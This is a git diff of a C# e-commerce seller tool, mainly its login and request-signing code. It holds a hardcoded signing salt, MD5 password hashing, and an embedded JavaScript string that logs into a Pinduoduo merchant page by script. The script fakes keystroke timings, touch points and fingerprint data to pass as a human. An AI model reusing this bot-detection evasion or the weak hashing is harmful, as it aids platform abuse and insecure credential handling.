"sid_pid"); + if(!sid_pid.Contains("000")) + continue; + UpShopIdBase us = new UpShopIdBase(); + us.SiteId = int.Parse(sid_pid.Substring(0, sid_pid.IndexOf("000"))); + us.ProductId = long.Parse(sid_pid.Substring(sid_pid.IndexOf("000") + 3)); + us.SiteIdFrom = BaseRegex.GetIntJson(ref list, "site_id_from"); + us.ProductIdFrom = BaseRegex.GetLongJson(ref list, "product_id_from"); + AddTemp(us); + } + } + + public static void AddTemp(UpShopIdBase us) + { + if (UpIds.ContainsKey(us.ProductId)) + return; + try + { + UpIds.Add(us.ProductId, us); + } + catch + { + } + } + + public static void AddToServer(UpShopIdBase us, string shopId, string shopName) + { + string url = BaseClass.LoginApiUrl+ "index.php?obj=upshopid/add&act=add"; + StringBuilder sb = new StringBuilder(); + sb.Append(UserLogin.GetSignaturex(shopId, shopName)); + //sb.Append("&act=add"); + sb.Append("&site_id=" + us.SiteId); + sb.Append("&product_id=" + us.ProductId); + sb.Append("&site_id_from=" + us.SiteIdFrom); + sb.Append("&product_id_from=" + us.ProductIdFrom); + string html = GetHtml.PostUtf8(url, sb); + + } + + public static UpShopIdBase Get(long productId, string shopId, string shopName) + { + string url = BaseClass.LoginApiUrl + "index.php?obj=upshopid/get&act=get_id"; + StringBuilder sb = new StringBuilder(); + sb.Append(UserLogin.GetSignaturex(shopId, shopName)); + //sb.Append("&act=get_id"); + sb.Append("&site_id=2"); + sb.Append("&product_id=" + productId); + string html = GetHtml.PostUtf8(url, sb); + if (string.IsNullOrEmpty(html) || html == "none") + return null; + UpShopIdBase us = new UpShopIdBase(); + us.ProductId = productId; + us.SiteId = 2; + us.ProductIdFrom = BaseRegex.GetLongJson(ref html, "product_id_from"); + us.SiteIdFrom = BaseRegex.GetIntJson(ref html, "site_id_from"); + AddTemp(us); + return us; + } + + } + + public class UpShopIdBase + { + public int SiteId = 0; + public long ProductId = 0; + public int SiteIdFrom = 0; + public long ProductIdFrom = 0; + public string Url + { + get + { + switch (SiteIdFrom) + { + case 1: + return "https://item.taobao.com/item.htm?id=" + ProductIdFrom; + case 2: + return BaseClass.NewUrl+"/goods.html?goods_id=" + ProductIdFrom; + case 3: + return "https://detail.1688.com/offer/" + ProductIdFrom + ".html"; + case 4: + return "https://item.m.jd.com/product/" + ProductIdFrom + ".html"; + case 6: + return "https://weidian.com/item.html?itemID=" + ProductIdFrom + ".html"; + } + return ""; + } + set { } + } + /// + /// 上家编码带 tb / pd + /// + public string UpCode + { + get + { + switch (SiteIdFrom) + { + case 1: + return "tb-" + ProductIdFrom; + case 2: + return "pd-" + ProductIdFrom; + case 3: + return "al-" + ProductIdFrom; + } + return ""; + } + } + public bool GetOk = false; + public string Message = ""; + } +} diff --git a/Work/UserLogin.cs b/Work/UserLogin.cs new file mode 100644 index 0000000..395d0a7 --- /dev/null +++ b/Work/UserLogin.cs @@ -0,0 +1,850 @@ +using System; +using System.Security.Cryptography; +using System.Text; +using System.Threading; +using AllBase; +using NaiBa.Util.Extension; + +namespace Work +{ + public class UserLogin + { + public string Mobile; + public string Password; + public static bool Logining = false, NoRegedit = false, NoFindPass = false, NoBuy = false; + /// + /// 登录 + /// + /// + /// + public bool Get(ref string message, out int lockUserName, out int weakPassword, out string messageInfo) + { + bool IsLoginDef = false; + Logining = true; + string mobile = Mobile; + string password = Password; + string passwordMd5; + if (password == "******") + passwordMd5 = BaseClass.PassWord; + else + passwordMd5 = Md5Base.GetMd5(password).ToLower(); + BaseClass.PassWord = passwordMd5; + BaseClass.PassWordBak = BaseClass.PassWord; + BaseClass.UserName = Mobile; + Random r = new Random(); + int r2 = r.Next(100000000, 899999999); //生成随机码 + string url = BaseClass.BuildObjString("user/user_login"); + for (int j = 0; j < 100 && string.IsNullOrEmpty(BaseClass.MacInfo); j++) + { + Thread.Sleep(10); + } + Agian: + string data = "mobile=" + mobile + "&r2=" + r2 + "&password=" + passwordMd5 + "&" + GetSignature() + "&mac=" + BaseClass.MacInfo + "&version=" + BaseClass.VersionCount; + data += "&from_tool=" + GetHtml.UrlEncodeUtf8(BaseClass.AgentName) + "&client_ip=" + GetHtml.UrlEncodeUtf8(BaseClass.IPAddress) + "+&client_addr=" + GetHtml.UrlEncodeUtf8(BaseClass.IPAddressName); + string html = GetHtml.PostUtf8(url, data); + lockUserName = -1; + weakPassword = -1; + messageInfo = ""; + if (string.IsNullOrEmpty(html) || html.Contains("Error No File")) + { + if (!IsLoginDef) + { + IsLoginDef = true; + url = BaseClass.BuildObjString("user/user_login", true); + goto Agian; + } + + message = "链接服务器失败\r\n" + + "如有问题请联系官方QQ:" + BaseClass.ServiceQQ; + return false; + } + if (!html.Contains("\"code\":200")) + { + var errMsg = BaseRegex.GetStringJson(ref html, "msg"); + if (string.IsNullOrEmpty(errMsg)) + errMsg = html; + message = errMsg; + return false; + } + string code = BaseRegex.GetStringJson(ref html, "c"); + string codex = Encryption(r2); + if (code != codex) + { + message = "登录失败\r\n链接异常请重试"; + return false; + } + + //if (IsLoginDef) + //{ + // BaseClass.LoginApiUrl = "http://new.taojinhu.com/";//淘金虎 + // BaseClass.ImageApiUrl = BaseClass.LoginApiUrl + "index.php?obj=api/image"; + //} + + BaseClass.UserId = BaseRegex.GetStringJson(ref html, "id").ParseToInt(); + BaseClass.UserKey = BaseRegex.GetStringJson(ref html, "user_key").ParseToInt(); + BaseClass.NickName = BaseRegex.GetStringJson(ref html, "nick_name"); + BaseClass.UserName = BaseRegex.GetStringJson(ref html, "user_name"); + BaseClass.Mobile = BaseRegex.GetStringJson(ref html, "mobile"); + BaseClass.UserVersion = BaseRegex.GetStringJson(ref html, "version").ParseToInt(); + BaseClass.UserVersionString = BaseRegex.GetStringJson(ref html, "version_s"); + BaseClass.CompanyId = BaseRegex.GetStringJson(ref html, "company_Id").ParseToInt(); + BaseClass.GroupId = BaseRegex.GetStringJson(ref html, "group_id").ParseToInt(); + //BaseClass.Balance = BaseRegex.GetStringJson(ref html, "balance").ParseToInt(); + //BaseClass.DarenYaoyue = BaseRegex.GetStringJson(ref html, "daren_group") == "1"; + //BaseClass.DyProductCollect = BaseRegex.GetStringJson(ref html, "show_collect") == "1"; + //if ("18655555336,18937517772,17777777777,18135637272,15324492822,18134451116".Contains(mobile)) + //{ + // BaseClass.DyProductCollect = true; + //} + //BaseClass.IsCloudBuyOrder = BaseRegex.GetStringJson(ref html, "cloud_buy_order_status") == "1"; + + if (BaseClass.GroupId != 3 && BaseClass.GroupId != 4 && BaseClass.GroupId != 9 && BaseClass.GroupId != 10 && BaseClass.GroupId != 11) + { + BaseClass.UserId = 0; + BaseClass.UserKey = 0; + return false; + } + BaseClass.EndDate = BaseRegex.GetStringJson(ref html, "end"); + BaseClass.CompanyName = BaseRegex.GetStringJson(ref html, "company_name"); + if (BaseClass.UserVersion == 3) + { + BaseClass.QqGroupNum = BaseRegex.GetStringJson(ref html, "qq_group_num"); + BaseClass.QqGroupUrl = BaseRegex.GetStringJson(ref html, "qq_group_url"); + BaseClass.WechatUrl = BaseRegex.GetStringJson(ref html, "wechat_url"); + } + if (BaseClass.UserVersion == 3 || BaseClass.UserVersion == 4 || BaseClass.UserVersion == 5 || BaseClass.UserVersion == 10 || BaseClass.UserVersion == 9) + { + BaseClass.IsPinduoduo = BaseRegex.GetStringJson(ref html, "pinduoduo") == "1"; + BaseClass.AlimamaDomain = BaseRegex.GetStringJson(ref html, "alimama_domain"); + BaseClass.AlimamaPid = BaseRegex.GetStringJson(ref html, "alimama_pid"); + } + if (!BaseClass.UserApi && BaseClass.UserVersion != 110) + BaseClass.UserVersion = 100; + if (BaseClass.UserVersion == 110) + BaseClass.ClientId = BaseSpecialConfig.ToolClientId; // 特别版本,使用指定ClientId + + string islock = BaseRegex.GetStringJson(ref html, "is_lock"); + int.TryParse(islock, out lockUserName); + string isweak = BaseRegex.GetStringJson(ref html, "is_weak_password"); + int.TryParse(isweak, out weakPassword); + messageInfo = BaseRegex.GetStringJson(ref html, "message"); + + // 代理权限列表 + string agent_auth = BaseRegex.GetStringJson(ref html, "agent_auth"); + if (!string.IsNullOrEmpty(agent_auth) && agent_auth != "0") + { + var strArr = agent_auth.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries); + foreach (var item in strArr) + { + var itemArr = item.Split(','); + if (itemArr.Length == 2) + { + BaseClass.AgentAuth[itemArr[0]] = itemArr[1]; + } + } + } + + Initialization i = new Initialization(); + i.SaveConfig(); + new Thread(i.GetBaiduCookies).Start(); + //new Thread(IdFessionTaobao.SaveHtmlToSereve).Start(); // 开启一个线程用于写入商品详情缓存数据 + return true; + } + + + /// + /// 注册账户 + /// + /// 手机 + /// 密码 + /// 验证码 + /// 昵称 + /// 邮箱 + /// + /// + public bool Regedit(string mobile, string password, string code, string nickname, string email, out string message) + { + string passwordMd5 = Md5Base.GetMd5(password).ToLower(); + string url = BaseClass.BuildObjString("regedit"); + string data = "mobile=" + mobile + "&password=" + passwordMd5 + "&sms_code=" + code + "&nickname=" + GetHtml.UrlEncodeUtf8(nickname) + + "&email=" + email + "&" + GetSignature(); + string html = GetHtml.PostUtf8(url, data); + if (string.IsNullOrEmpty(html) || html.Contains("Error No File")) + { + message = "提交请求失败,请重试,如仍失败请尝试以下方法:\r\n" + + "1、Win7、8、10系统请(右击)使用管理员权限运行\r\n" + + "2、检查网络链接是否正确、杀毒防火墙等是否禁止链接(可卸载后再次登录)\r\n" + + "3、请不要使用代理上网,更换为路由或者直接链接\r\n" + + "4、可先卸载杀毒软件或者安全卫士,软件正常联网后,重新安装杀毒\r\n" + + "5、如以上方法依然无法解决,可联系客服QQ:" + BaseClass.ServiceQQ + " 协助"; + return false; + } + if (!html.Contains("\"code\":200")) + { + var errMsg = BaseRegex.GetStringJson(ref html, "msg"); + if (string.IsNullOrEmpty(errMsg)) + errMsg = html; + message = errMsg; + if (message.Contains("手机号码已被注册")) + { + message = message.Replace("手机号码已被注册", "手机号码已被注册,请直接登录或找回密码"); + } + if (message.Contains("短信验证码错误")) + { + message = "短信验证码错误,请重新输入\r\n如果接收不到,请联系客服QQ:" + BaseClass.ServiceQQ + ""; + } + return false; + } + message = ""; + return true; + } + + /// + /// 重置密码 + /// + /// + /// + /// + /// + /// + public bool ResetPassword(string mobile, string code, string password, out string message) + { + string passwordMd5 = Md5Base.GetMd5(password).ToLower(); + string url = BaseClass.BuildObjString("reset_password"); + string data = "mobile=" + mobile + "&password=" + passwordMd5 + "&sms_code=" + code + "&" + GetSignature(); + string html = GetHtml.PostUtf8(url, data); + if (string.IsNullOrEmpty(html) || html.Contains("Error No File")) + { + message = "提交请求失败,请重试,如仍失败请尝试以下方法:\r\n" + + "1、Win7、8、10系统请(右击)使用管理员权限运行\r\n" + + "2、检查网络链接是否正确、杀毒防火墙等是否禁止链接(可卸载后再次登录)\r\n" + + "3、请不要使用代理上网,更换为路由或者直接链接\r\n" + + "4、可先卸载杀毒软件或者安全卫士,软件正常联网后,重新安装杀毒\r\n" + + "5、如以上方法依然无法解决,可联系客服QQ:" + BaseClass.ServiceQQ + " 协助"; + return false; + } + if (!html.Contains("\"code\":200")) + { + var errMsg = BaseRegex.GetStringJson(ref html, "msg"); + if (string.IsNullOrEmpty(errMsg)) + errMsg = html; + message = errMsg; + return false; + } + message = ""; + return true; + + } + + /// + /// 获取签名字符串 + /// + /// + public static string GetSignature() + { + int time = BaseClass.DateTimeToTimestampSeconds(DateTime.Now) + BaseClass.TimeDifferent; + string s = Encryption(time); + //string s = GetMd5(time1); + return "time=" + time + "&code=" + s + "&NbCodeVersion=1"; + } + + public static bool IsPinduoduo = false; + + /// + /// 获取签名字符串,新版 + /// + /// + public static string GetSignaturex() + { + return GetSignaturex(BaseClass.ShopId, BaseClass.ShopName); + } + + public static string GetSignaturex(string shopId, string shopName) + { + if (string.IsNullOrEmpty(shopId)) + shopId = BaseClass.ShopId; + if (string.IsNullOrEmpty(shopName)) + shopName = BaseClass.ShopName; + int time = BaseClass.DateTimeToTimestampSeconds(DateTime.Now) + BaseClass.TimeDifferent; + string time1 = Encryption(time); + return "time=" + time + "&code=" + time1 + "&NbCodeVersion=1" + "&version=" + BaseClass.VersionCount + + "&company_id=" + BaseClass.CompanyId + "&company=" + GetHtml.UrlEncodeUtf8(BaseClass.CompanyName) + + "&user_name=" + BaseClass.UserName + "&user_key=" + BaseClass.UserKey + "&mobile=" + BaseClass.Mobile + + "&sid=" + shopId + "&shop=" + GetHtml.UrlEncodeUtf8(shopName); + } + + /// + /// 签名算法 + /// + /// 随机数 + /// 加密签名结果 + public static string Encryptionxx(int s) + { + string ss = s.ToString(); + if (ss.Length > 8) + { + ss = ss.Substring(ss.Length - 8); + s = int.Parse(ss); + if (s < 100000000) + s += 100000000; + } + byte[] kb = Encoding.ASCII.GetBytes(s.ToString()); + if (BaseClass.NewSignatureAuth) + { + double y = s * 1.6081825125; + y += 4582095.48659959; + y += kb[3] * 934579.486548; + y += kb[7] + 4889894.30184; + byte[] k = Encoding.ASCII.GetBytes(y.ToString()); + y -= 478735.48548; + y -= k[6] * 426720.454545; + y -= k[2] * 5667826.96889; + byte[] k1 = Encoding.ASCII.GetBytes(y.ToString()); + y += 56979810.2455; + y -= k1[1] * 58742.0564845; + y -= k1[5] * 1528.487866; + string c = ((int)y).ToString(); + return GetMd5(c); //返回签名的MD5结果 + } + else + { + double y = s * 1.8061825125; + y += 4852095.48659959; + y += kb[3] * 943579.486548; + y += kb[7] + 4889894.30184; + byte[] k = Encoding.ASCII.GetBytes(y.ToString()); + y -= 458735.48548; + y -= k[6] * 458720.454545; + y -= k[2] * 5447826.96889; + byte[] k1 = Encoding.ASCII.GetBytes(y.ToString()); + y += 34779810.2455; + y -= k1[1] * 57942.0564845; + y -= k1[5] * 1548.487866; + string c = ((int)y).ToString(); + return GetMd5(c); //返回签名的MD5结果 + } + //double y = s * 1.8061825125; + //y += 4852095.48659959; + //y += kb[3] * 943579.486548; + //y += kb[7] + 4889894.30184; + //byte[] k = Encoding.ASCII.GetBytes(y.ToString()); + //y -= 458735.48548; + //y -= k[6] * 458720.454545; + //y -= k[2] * 5447826.96889; + //byte[] k1 = Encoding.ASCII.GetBytes(y.ToString()); + //y += 34779810.2455; + //y -= k1[1] * 57942.0564845; + //y -= k1[5] * 1548.487866; + //string c = ((int)y).ToString(); + //return GetMd5(c); //返回签名的MD5结果 + } + + /// + /// 签名算法 + /// + /// 随机数 + /// 加密签名结果 + //public static string Encryption(int s) + //{ + // string ss = s.ToString(); + // if (ss.Length > 8) + // { + // ss = ss.Substring(ss.Length - 8); + // s = int.Parse(ss); + // if (s < 100000000) + // s += 100000000; + // } + // byte[] kb = Encoding.ASCII.GetBytes(s.ToString()); + // if (BaseClass.NewSignatureAuth) + // { + // double y = s * 1.6081825125; + // y += 4582095.48659959; + // y += kb[3] * 934579.486548; + // y += kb[7] + 4889894.30184; + // byte[] k = Encoding.ASCII.GetBytes(y.ToString()); + // y -= 478735.48548; + // y -= k[6] * 426720.454545; + // y -= k[2] * 5667826.96889; + // byte[] k1 = Encoding.ASCII.GetBytes(y.ToString()); + // y += 56979810.2455; + // y -= k1[1] * 58742.0564845; + // y -= k1[5] * 1528.487866; + // string c = ((int)y).ToString(); + // return GetMd5(c); //返回签名的MD5结果 + // } + // else + // { + // double y = s * 1.8061825125; + // y += 4852095.48659959; + // y += kb[3] * 943579.486548; + // y += kb[7] + 4889894.30184; + // byte[] k = Encoding.ASCII.GetBytes(y.ToString()); + // y -= 458735.48548; + // y -= k[6] * 458720.454545; + // y -= k[2] * 5447826.96889; + // byte[] k1 = Encoding.ASCII.GetBytes(y.ToString()); + // y += 34779810.2455; + // y -= k1[1] * 57942.0564845; + // y -= k1[5] * 1548.487866; + // string c = ((int)y).ToString(); + // return GetMd5(c); //返回签名的MD5结果 + // } + // //string ss = s.ToString(); + // //if (ss.Length > 8) + // //{ + // // ss = ss.Substring(ss.Length - 8); + // // s = int.Parse(ss); + // // if (s < 100000000) + // // s += 100000000; + // //} + // //byte[] kb = Encoding.ASCII.GetBytes(s.ToString()); + // //double y = s * 1.8061825125; + // //y += 4852095.48659959; + // //y += kb[3] * 943579.486548; + // //y += kb[7] + 4889894.30184; + // //byte[] k = Encoding.ASCII.GetBytes(y.ToString()); + // //y -= 458735.48548; + // //y -= k[6] * 458720.454545; + // //y -= k[2] * 5447826.96889; + // //byte[] k1 = Encoding.ASCII.GetBytes(y.ToString()); + // //y += 34779810.2455; + // //y -= k1[1] * 57942.0564845; + // //y -= k1[5] * 1548.487866; + // //string c = ((int)y).ToString(); + // //return GetMd5(c); //返回签名的MD5结果 + //} + + + /// + /// 加密算法 + /// + /// 加密字符串 + /// + public static string Encryption(int s) + { + string sign = $"{s}sdhewu*/fhAAue48485ew5+5%@3485esGFFHFD"; + return GetMd5(sign); + + //if (BaseClass.NewSignatureAuth) + //{ + // long s1 = 0; + // int j = 6712; + // while (s1 < 10000000) + // { + // string st = s1.ToString(); + // if (s1 == 0) + // st = s; + // for (int i = 0; i < st.Length; i++) + // { + // j = j * (55 + i * 6) + i; + // if (j > 100000) + // j = j % 3267; + // int ai = (int)char.Parse(st.Substring(i, 1)); + // if (ai < 128) + // { + // s1 += ai * (i + 3) * j; + // } + // } + // } + // return s1.ToString(); //返回签名的MD5结果 + //} + //else + //{ + // long s1 = 0; + // int j = 7684; + // while (s1 < 10000000) + // { + // string st = s1.ToString(); + // if (s1 == 0) + // st = s; + // for (int i = 0; i < st.Length; i++) + // { + // j = j * (55 + i * 6) + i; + // if (j > 100000) + // j = j % 2367; + // int ai = (int)char.Parse(st.Substring(i, 1)); + // if (ai < 128) + // { + // s1 += ai * (i + 3) * j; + // } + // } + // } + // return s1.ToString(); //返回签名的MD5结果 + //} + //long s1 = 0; + //int j = 7684; + //while (s1 < 10000000) + //{ + // string st = s1.ToString(); + // if (s1 == 0) + // st = s; + // for (int i = 0; i < st.Length; i++) + // { + // j = j * (55 + i * 6) + i; + // if (j > 100000) + // j = j % 2367; + // int ai = (int)char.Parse(st.Substring(i, 1)); + // if (ai < 128) + // { + // s1 += ai * (i + 3) * j; + // } + // } + //} + //return s1.ToString(); //返回签名的MD5结果 + } + public string Get(string key) + { + if (string.IsNullOrEmpty(key)) + return ""; + byte[] inArray = Convert.FromBase64String(key.Replace("/", "=")); + string html = Encoding.UTF8.GetString(inArray); + + html = html.Replace("C", "1"); + html = html.Replace("Q", "6"); + html = html.Replace("I", "2"); + html = html.Replace("L", "0"); + html = html.Replace("Z", "9"); + html = html.Replace("O", "5"); + html = html.Replace("P", "8"); + html = html.Replace("D", "7"); + html = html.Replace("R", "b"); + html = html.Replace("S", "c"); + html = html.Replace("J", "a"); + return html; + } + /// + /// MD5加密 + /// + /// + /// + public static string GetMd5(string instring) + { + byte[] result = Encoding.Default.GetBytes(instring.Trim()); + MD5 md5 = new MD5CryptoServiceProvider(); + byte[] output = md5.ComputeHash(result); + return BitConverter.ToString(output).Replace("-", ""); + } + /// + /// 获取验证码 + /// + /// + /// + /// + public static string SendCode(string mobile, out bool success) + { + string url = BaseClass.BuildObjString("sms_gate"); + string data = "mobile=" + mobile + "&" + GetSignature(); + string html = GetHtml.PostUtf8(url, data); + success = false; + if (string.IsNullOrEmpty(html) || html.Contains("Error No File")) + { + return "提交请求失败,请重试,如仍失败请尝试以下方法:\r\n" + + "1、Win7、8、10系统请(右击)使用管理员权限运行\r\n" + + "2、检查网络链接是否正确、杀毒防火墙等是否禁止链接(可卸载后再次登录)\r\n" + + "3、请不要使用代理上网,更换为路由或者直接链接\r\n" + + "4、可先卸载杀毒软件或者安全卫士,软件正常联网后,重新安装杀毒\r\n" + + "5、如以上方法依然无法解决,可联系客服QQ:" + BaseClass.ServiceQQ + " 协助"; + } + if (!html.Contains("\"code\":200")) + { + var errMsg = BaseRegex.GetStringJson(ref html, "msg"); + if (string.IsNullOrEmpty(errMsg)) + errMsg = html; + return errMsg; + } + success = true; + return ""; + } + + + public static string JsCode = @"var auth = { + getPublicKey: function() { + var _this = this; + Helper.get(""earth/api/queryPasswordEncrypt"", {}).then(function(d) { + if (d.success) { + _this.passwordEncrypt = d.result.passwordEncrypt; + _this.publicKey = d.result.publicKey; + _this.authCode(); + } + }); + }, + authCode: function() { + var _this = this; + Helper.post(""earth/api/merchant/getCaptchaCode"", { + sceneId: 15 + }).then(function(t) { + if (t.success) { + $img = document.querySelector('#tuxing').nextElementSibling; + $img.setAttribute('src', t.result.picture); + _this.captChaCodeUrl = t.result.picture; + _this.token = t.result.sign; + _this.__callback && _this.__callback.apply(_this); + } + }) + }, + setStartTime: function(e) { + var t = (new Date).getTime(); + if (e == 'usernameId') { + this.mobileInputEditStartTime = t; + } else if (e == 'passwordId') { + this.passwordInputEditStartTime = t; + } else if (e == 'authCode') { + this.captureInputEditStartTime = t; + } + }, + setEndTime: function(e) { + var t = (new Date).getTime(); + if (e == 'usernameId') { + this.mobileInputEditFinishTime = t; + } else if (e == 'passwordId') { + this.passwordInputEditFinishTime = t; + } else if (e == 'authCode') { + this.captureInputEditFinishTime = t; + } + }, + setKeyboardEvent: function(e, t, n) { + for (var r = """", i = 0, a = 0, o = 0, s = """", l = 0; l < t.length; l++) + ""9"" == t[l].keyCode ? i = 1 : ""17"" == t[l].keyCode || ""91"" == t[l].keyCode ? a = 1 : ""86"" == t[l].keyCode && (o = 1), + r += 0 == l ? t[l].time - e : t[l].time - t[l - 1].time, + l < t.length - 1 && (r += ""-""); + s += i + ""|"" + a + ""|"" + o + ""|"" + r; + this[n] = s; + }, + getKeyCode: function(e, t) { + var n = this, + r = this.mobileInputKeyboardEventList, + i = this.passwordInputKeyboardEventList, + a = this.captureInputKeyboardEventList, + o = (new Date).getTime(), + s = { + time: o, + keyCode: t.keyCode + }; + + if (e == 'usernameId') { + r.push(s); + r = r.filter(function(e, t) { + return null != e.keyCode; + }); + this.mobileInputKeyboardEventList = r; + this.setKeyboardEvent(this.mobileInputEditStartTime, r, 'mobileInputKeyboardEvent'); + } + + if (e == 'passwordId') { + i.push(s); + i = i.filter(function(e, t) { + return null != e.keyCode + }); + this.passwordInputKeyboardEventList = i; + this.setKeyboardEvent(this.passwordInputEditStartTime, i, 'passwordInputKeyboardEvent'); + } + + if (e == 'authCode') { + a.push(s); + a = a.filter(function(e, t) { + return null != e.keyCode + }); + this.captureInputKeyboardEventList = a; + this.setKeyboardEvent(this.captureInputEditStartTime, i, 'captureInputKeyboardEvent'); + } + }, + UIEvents: function() { + var _this = this; + + // 模拟键盘输入 + var username = new Promise(function(resolve, reject) { + var keys = _this.options.username.split(''); + var quque = function() { + if (!keys.length) { + resolve(); + return; + } + + var key = keys[0].charCodeAt(0), + event = {keyCode: key}; + + setTimeout(function() { + _this.setEndTime('usernameId'); + _this.getKeyCode('usernameId', event); + keys.shift(); + quque(); + }, 10); + }; + + _this.setStartTime('usernameId'); + quque(); + }); + + var password = new Promise(function(resolve, reject) { + var keys = _this.options.password.split(''); + var quque = function() { + if (!keys.length) { + resolve(); + return; + } + + var key = keys[0].charCodeAt(0), + event = {keyCode: key}; + + setTimeout(function() { + _this.setEndTime('passwordId'); + _this.getKeyCode('passwordId', event); + keys.shift(); + quque(); + }, 10); + }; + + _this.setStartTime('passwordId'); + quque(); + }); + + var authCode = new Promise(function(resolve, reject) { + var keys = _this.options.verifyCode.split(''); + var quque = function() { + if (!keys.length) { + resolve(); + return; + } + + var key = keys[0].charCodeAt(0), + event = {keyCode: key}; + + setTimeout(function() { + _this.setEndTime('authCode'); + _this.getKeyCode('authCode', event); + keys.shift(); + quque(); + }, 10); + }; + + _this.setStartTime('authCode'); + quque(); + }); + + Promise.all([username, password, authCode]).then(function(values) { + _this.login(); + }); + }, + + login: function() { + var _this = this, + params = {} + $btn = document.querySelector('#loginBtnId') + offset = $btn.getBoundingClientRect(), + btnPoint = parseInt(offset.x + (offset.width / 2)) + ',' + parseInt(offset.y + (offset.height / 2)); + + params = { + username: this.options.username, + password: this.options.password, + verifyCode: this.options.verifyCode, + verificationCode: """", + sign: this.token, + touchevent: { + mobileInputEditStartTime: this.mobileInputEditStartTime, + mobileInputEditFinishTime: this.mobileInputEditFinishTime, + mobileInputKeyboardEvent: this.mobileInputKeyboardEvent, + passwordInputEditStartTime: this.passwordInputEditStartTime, + passwordInputEditFinishTime: this.passwordInputEditFinishTime, + passwordInputKeyboardEvent: this.passwordInputKeyboardEvent, + captureInputEditStartTime: this.captureInputEditStartTime, + captureInputEditFinishTime: this.captureInputEditFinishTime, + captureInputKeyboardEvent: this.captureInputKeyboardEvent, + loginButtonTouchPoint: btnPoint, + loginButtonClickTime: (new Date).getTime() + }, + fingerprint: { + innerHeight: window.innerHeight, + innerWidth: window.innerWidth, + devicePixelRatio: window.devicePixelRatio, + availHeight: screen.availHeight, + availWidth: screen.availWidth, + height: screen.height, + width: screen.width, + colorDepth: screen.colorDepth, + locationHref: location.href, + navigator: { + appCodeName: navigator.appCodeName, + appName: navigator.appName, + hardwareConcurrency: navigator.hardwareConcurrency, + language: navigator.language, + cookieEnabled: navigator.cookieEnabled, + platform: navigator.platform, + doNotTrack: navigator.doNotTrack, + ua: navigator.ua, + vendor: navigator.vendor, + product: navigator.product, + productSub: navigator.productSub + }, + referer: document.referrer, + timezoneOffset: (new Date).getTimezoneOffset() + } + } + + if (this.passwordEncrypt) { + var p = new JSEncrypt; + p.setPublicKey(this.publicKey); + params.password = p.encrypt(params.password); + params.passwordEncrypt = true; + } + + Helper.post(""nomallid/auth"", params).then(function(e) { + if (e.error_msg) { + console.log(e); + //alert('login error'); + return; + } + + localStorage.setItem(""PASSID"", e.pass_id); + Helper.saveToSessionStorage(""old_easy_psd"", { old_easy_psd: params.password}); + _this.handerAfterAjax(e.userInfo, params.username); + }, function() { + //alert('login Error'); + }); + }, + handerAfterAjax: function(e, n) { + Helper.saveToLocalStorage(""old_username"", { + username: n + }); + window.mall_id = e.mallId; + Pdd.saveToLocalStorage(""username"", n); + Helper.queryUserinfo(function(e) { + window.g_mall_id = e.mallId; + e.error_msg || Helper.saveToLocalStorage(""userinfo"", e); + window.location.href = location.origin + location.pathname + '#/index?pre=log_page'; + }); + }, + + send(options) { + this.options = Object.assign({}, options); + this.UIEvents(); + }, + + /**/ + init: function(callback) { + this.passwordEncrypt = null; + this.publicKey = null; + this.captChaCodeUrl = null; + this.token = null; + + this.mobileInputEditStartTime = """"; + this.mobileInputEditFinishTime = """"; + this.mobileInputKeyboardEvent = """"; + this.mobileInputKeyboardEventList = []; + this.passwordInputEditStartTime = """"; + this.passwordInputEditFinishTime = """"; + this.passwordInputKeyboardEvent = """"; + this.passwordInputKeyboardEventList = []; + this.captureInputEditStartTime = """"; + this.captureInputEditFinishTime = """"; + this.captureInputKeyboardEvent = """"; + this.captureInputKeyboardEventList = []; + this.loginButtonTouchPoint = """"; + this.loginButtonClickTime = """"; + this.__callback = callback || null; + + this.getPublicKey(); + } +};auth.init();"; + + } +} diff --git a/Work/Work.csproj b/Work/Work.csproj new file mode 100644 index 0000000..3d5248b --- /dev/null +++ b/Work/Work.csproj @@ -0,0 +1,248 @@ + + + + + + + + + Debug + AnyCPU + {38E74D4C-2D8D-47D2-8A23-417C3C57ADE5} + Library + Properties + Work + Work + v4.5.2 + 512 + + + + + true + full + false + ..\bin\ + DEBUG;TRACE + prompt + 4 + + + pdbonly + true + ..\bin\ + TRACE + prompt + 4 + false + + + true + bin\x64\Debug\ + DEBUG;TRACE + full + x64 + prompt + MinimumRecommendedRules.ruleset + + + bin\x64\Release\ + TRACE + true + pdbonly + x64 + prompt + MinimumRecommendedRules.ruleset + + + true + ..\bin\ + DEBUG;TRACE + full + x86 + prompt + MinimumRecommendedRules.ruleset + + + ..\bin\ + TRACE + true + pdbonly + x86 + prompt + MinimumRecommendedRules.ruleset + + + + ..\packages\AdvancedStringBuilder.0.1.0\lib\net45\AdvancedStringBuilder.dll + + + ..\packages\JavaScriptEngineSwitcher.V8.3.0.5\lib\net45\ClearScript.dll + + + + False + True + ..\DllReference\Interop.MSScriptControl.dll + + + ..\packages\JavaScriptEngineSwitcher.Core.3.0.0\lib\net45\JavaScriptEngineSwitcher.Core.dll + + + ..\packages\JavaScriptEngineSwitcher.V8.3.0.5\lib\net45\JavaScriptEngineSwitcher.V8.dll + + + False + ..\DllReference\NaiBa.Util.dll + + + ..\DllReference\NaiBa.Util.Winform.dll + + + False + ..\packages\Newtonsoft.Json.9.0.1\lib\net45\Newtonsoft.Json.dll + True + + + + + + False + ..\DllReference\System.Data.SQLite.DLL + + + + + + + + + + + + False + ..\DllReference\websocket-sharp.dll + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + {6461d807-b1c8-45f0-b388-e0ca1a418de0} + AllBase + + + + + + + + + + 这台计算机上缺少此项目引用的 NuGet 程序包。使用“NuGet 程序包还原”可下载这些程序包。有关更多信息,请参见 http://go.microsoft.com/fwlink/?LinkID=322105。缺少的文件是 {0}。 + + + + + + + + + + + + \ No newline at end of file diff --git a/Work/Work.csproj.user b/Work/Work.csproj.user new file mode 100644 index 0000000..5283ef1 --- /dev/null +++ b/Work/Work.csproj.user @@ -0,0 +1,6 @@ + + + + ShowAllFiles + + \ No newline at end of file diff --git a/Work/packages.config b/Work/packages.config new file mode 100644 index 0000000..1baabce --- /dev/null +++ b/Work/packages.config @@ -0,0 +1,11 @@ + + + + + + + + + + + \ No newline at end of file